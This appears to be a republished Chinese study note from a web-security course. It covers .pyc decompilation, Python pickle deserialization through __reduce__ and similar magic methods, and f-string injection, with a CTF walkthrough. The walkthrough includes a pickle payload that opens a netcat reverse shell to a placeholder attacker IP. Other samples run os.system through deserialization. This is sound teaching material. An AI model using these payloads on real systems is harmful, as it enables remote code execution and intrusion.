当前位置: 首页 > news >正文

小迪安全v2023学习笔记(七十一讲)—— Python安全反序列化反编译格式化字符串安全

文章目录

  • 前记
  • WEB攻防——第七十一天
    • Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全
      • Python - PYC-反编译文件出源码
        • 介绍
        • 演示
      • Python - 反序列化-调用链&魔术方法
        • 各类语言序列化和反序列化函数
        • 序列化和反序列化含义
        • Python中常用的序列化/反序列化函数
        • 魔术方法
        • 发现
        • 案例演示——[watevrCTF-2019]Pickle Store
      • Python - 格式化字符串-类魔术方法引用

前记

  • 今天是学习小迪安全的第七十二天,本节课是语言类安全的最后一节课,主要是Python的反序列化安全
  • 内容比较少,实战也可能不经常遇到,但是CTF可能遇到,所以还是了解一下

WEB攻防——第七十一天

Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全

Python - PYC-反编译文件出源码

介绍
  • pyc 文件是 py 文件编译后生成的字节码文件(byte code),pyc 文件经过 python 解释器最终会生成机器码运行。因此 pyc 文件是可以跨平台部署的,类似 Java.class文件,一般 py 文件改变后,都会重新生成 pyc 文件。
演示
  • 真题:http://pan.baidu.com/s/1jGpB8DS
  • 反编译工具:uncompyle6
    • 安装:pip install uncompyle6
    • 使用:uncompyle6 -o . test.pyc-o表示输出到指定文件
    • 下载:https://github.com/rocky/python-uncompyle6
  • 这个东西实战中不太容易见到,但是CTF中可能会考
  • 比如上面那个题,我们就可以直接使用这个工具反编译得到程序源码,然后分析拿到flag即可:
    在这里插入图片描述
    在这里插入图片描述

Python - 反序列化-调用链&魔术方法

各类语言序列化和反序列化函数
  • JavaSerializable Externalizable 接口、fastjsonjacksongsonObjectInputStream.readObjectObjectInputStream.readUnsharedXMLDecoder.readObjectYaml.loadXStream.fromXMLObjectMapper.readValueJSON.parseObject
  • PHPserialize()unserialize()
  • PythonpicklemarshaljsonPyYAMLshelvePILunzip
序列化和反序列化含义
  • 序列化:把类对象转化为字节流或文件
  • 反序列化:将字节流或文件转化为类对象
Python中常用的序列化/反序列化函数
  • 字符串/文件
    • pickle.dump(obj, file):将对象序列化后保存到文件
    • pickle.load(file):将文件序列化内容反序列化为对象
    • pickle.dumps(obj):将对象序列化字符串格式的字节流
    • pickle.loads(bytes_obj):将字符串字节流反序列化为对象
  • JSON
    • json.dump(obj, file):把 Python 对象序列化JSON 文本 并写入文件
    • json.load(file):从文件读 JSON 文本并反序列化成 Python 对象
    • json.dumps(obj):将对象序列化为JSON文本
    • json.loads(json_str):将JSON字符串反序列化为Python对象
  • YAML
    • yaml.dump(obj, file):把 Python 对象序列化YAML 并写入文件
    • yaml.load(stream, Loader=...):把 YAML 文本反序列化成 Python 对象
  • marshal:功能与pickle类似,主要用于.pyc字节码文件的读写,普通业务几乎不会使用marshal.dump/load函数
魔术方法
  • __reduce__()反序列化时调用
import pickle  
import os  class R:  def __reduce__(self):  return (os.system, ('calc',))  # 反序列化时执行 os.system('calc')  r = R() 
dt = pickle.dumps(r)   
da = pickle.loads(dt) # 反序列化弹出计算器
  • __reduce_ex__()反序列化时调用
import pickle  
import os  class R:  def __reduce_ex__(self, protocol):  return (os.system, ('calc',))   # 反序列化时执行 os.system('calc')  r = R()  
dt = pickle.dumps(r)  
da = pickle.loads(dt) # 反序列化弹出计算器
  • 其实上面两个函数的原理都是将函数里面的内容写到序列化之后的字符串中,它们得到的值为:b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x04calc\x94\x85\x94R\x94.',很明显看到有system、calc吧?反序列化之后就直接触发恶意代码弹计算器了

  • __setstate__():反序列化时调用,和php中isset那个相似,需要调用不存在的属性才能触发

import pickle  
import os  class R:  def __setstate__(self, state):  os.system('calc')  # 给实例随便加一个属性,让它非空!
r = R()  
r.flag = 1  # 只要 __dict__ 非空即可  dt = pickle.dumps(r)  
pickle.loads(dt) # 反序列化弹出计算器
  • __getstate__():序列化时触发
import pickle  
import os  class R:  def __getstate__(self):  os.system('calc')  # 反序列化时执行  r = R()  
dt = pickle.dumps(r)  
print(dt) # 序列化弹出计算器
发现
  • 白盒直接搜索上述的关键函数即可
  • 黑盒中通过Python反序列化的特征:base64编码时前面gA固定,发现反序列化数据,可能出现的地方(getpostcookie…)
import base64  
import pickle  class R:  def __init__(self):  pass  r = R()  
dt = pickle.dumps(r)  
base64_dt = base64.b64encode(dt)  
print(base64_dt)
# 输出:b'gASVFQAAAAAAAACMCF9fbWFpbl9flIwBUpSTlCmBlC4='
案例演示——[watevrCTF-2019]Pickle Store
  • 这里通过一个CTF赛题来演示,题目来自BUUCTF的Pickle Store,现在靶机已经能正常打开了
    在这里插入图片描述

  • 我们看它的商品最后一个可能是flag
    在这里插入图片描述

  • 但它卖1000,我们只有500,那这种题很大概率就是考怎么把这个钱变成1000然后买flag

  • 还是Web三把手:F12源代码、抓包、扫目录,当然这里我们通过题目Pickle也大概可以知道可能考的是反序列化

  • F12或者抓包发现我们的Session值为gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

  • 很明显gA开头的base64编码,解码看一下:
    在这里插入图片描述

  • 可以看到什么moneyhistory等等,这个和我们的页面是对上的,然后我们直接写一个代码去反序列化:

import base64  
import pickle  base64_sd = b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'  
sd = base64.b64decode(base64_sd)  
dd = pickle.loads(sd)  
print(dd)
# 输出: {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
  • 这里我们就能够尝试改钱了,那就直接改然后序列化提交看看我们的钱会不会变:
import base64  
import pickle  dd = "{'money': 1500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}"  
sd = pickle.dumps(dd)  
base64_sd = base64.b64encode(sd)  
print(base64_sd)
# 输出: b'gASVWgAAAAAAAACMVnsnbW9uZXknOiAxNTAwLCAnaGlzdG9yeSc6IFtdLCAnYW50aV90YW1wZXJfaG1hYyc6ICdhYTFiYTRkZTU1MDQ4Y2YyMGUwYTdhNjNiN2Y4ZWI2Mid9lC4='
  • 将结果提交,网站崩了,泥煤的:
    在这里插入图片描述

  • 这里的问题是它后面有一个anti_tamper_hmac,防篡改的,那说明这里就不能改money的值

  • 重开靶机,然后我们尝试其他的方法,这里既然不让我们改money,那我们就直接尝试反序列化RCE,这里exp是这个:

import base64
import pickleclass A(object):def __reduce__(self):return (eval, ("__import__('os').system('nc <iP> 8888 -e/bin/sh')",))a = A()
print(base64.b64encode(pickle.dumps(a)))
  • 这里应该是能够成功的,但是我又没有复现出来,什么鬼,但大致思路就是这样,通过__reduce__(self)函数去构造一个恶意的序列化对象,然后让其进行反序列化执行我们的恶意函数,达到攻击目的

Python - 格式化字符串-类魔术方法引用

  • 参考文章地址:Python Web之flask session&格式化字符串漏洞-先知社区
  • python中格式化字符串的方式有以下四种:
    1. %字符串
    2. string.Template
    3. 调用format方法
    4. f-Strings
  • 这四种方法使用不当都有可能造成RCE漏洞,这里主要是讲第四种,它是python3.6新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的 python 表达式
  • 它造成漏洞的示例代码如下:
print(f'{__import__("os").system("ping 127.0.0.1")} is my friend!')

在这里插入图片描述

  • 他就会执行这里面的ping命令,这个看起来好像没什么用,但是也是一种危害
http://www.dtcms.com/a/348101.html

相关文章:

  • 深入解析MyBatis中#{}和${}的区别与应用场景
  • Implementing Redis in C++ : E(AVL树详解)
  • spring源码之事务篇(事务管理器整个流程)
  • 笔记 | Anaconda卸载重装
  • Hyperledger Fabric官方中文教程-改进笔记(十五)-从通道中删除组织
  • 【机器学习】3 Generative models for discrete data
  • HTML网页游戏五子棋
  • 电路学习(四)二极管
  • Spring框架相关面试题
  • 【机器学习】4 Gaussian models
  • 【网络运维】Shell 脚本编程:while 循环与 until 循环
  • Python自学笔记11 Numpy的索引和切片
  • Shell脚本-expect
  • VirtualBox安装openEuler24.03
  • 【C++】函数返回方式详解:传值、传引用与传地址
  • 校园跑腿小程序源码 | 跑腿便利店小程序 含搭建教程
  • 如何在 Ubuntu 上安装和配置 Samba ?
  • 2025年渗透测试面试题总结-30(题目+回答)
  • Java 20 新特性及具体应用
  • Cisdem Video Converter for mac 优秀的视频格式转换工具
  • 夜间跌倒检测响应速度↑150%!陌讯多模态骨架追踪算法在智慧养老院的落地实践
  • 埃氏筛|树dfs|差分计数
  • JVM OOM问题排查与解决思路
  • Meta AI 剧变:汪滔挥刀重组,Llama 开源路线告急,超级智能梦碎还是重生?
  • 96、23种设计模式之原型模式(5/23)
  • STM32 USB 之大坑
  • ubuntu中网卡的 IP 及网关配置设置为永久生效
  • Ubuntu24.04环境下causal_conv1d和mamba_ssm安装
  • 嵌入式八股文面试题总结(QT、RTOS、Linux、ARM、C/C++)(持续更新)
  • QT-布局管理器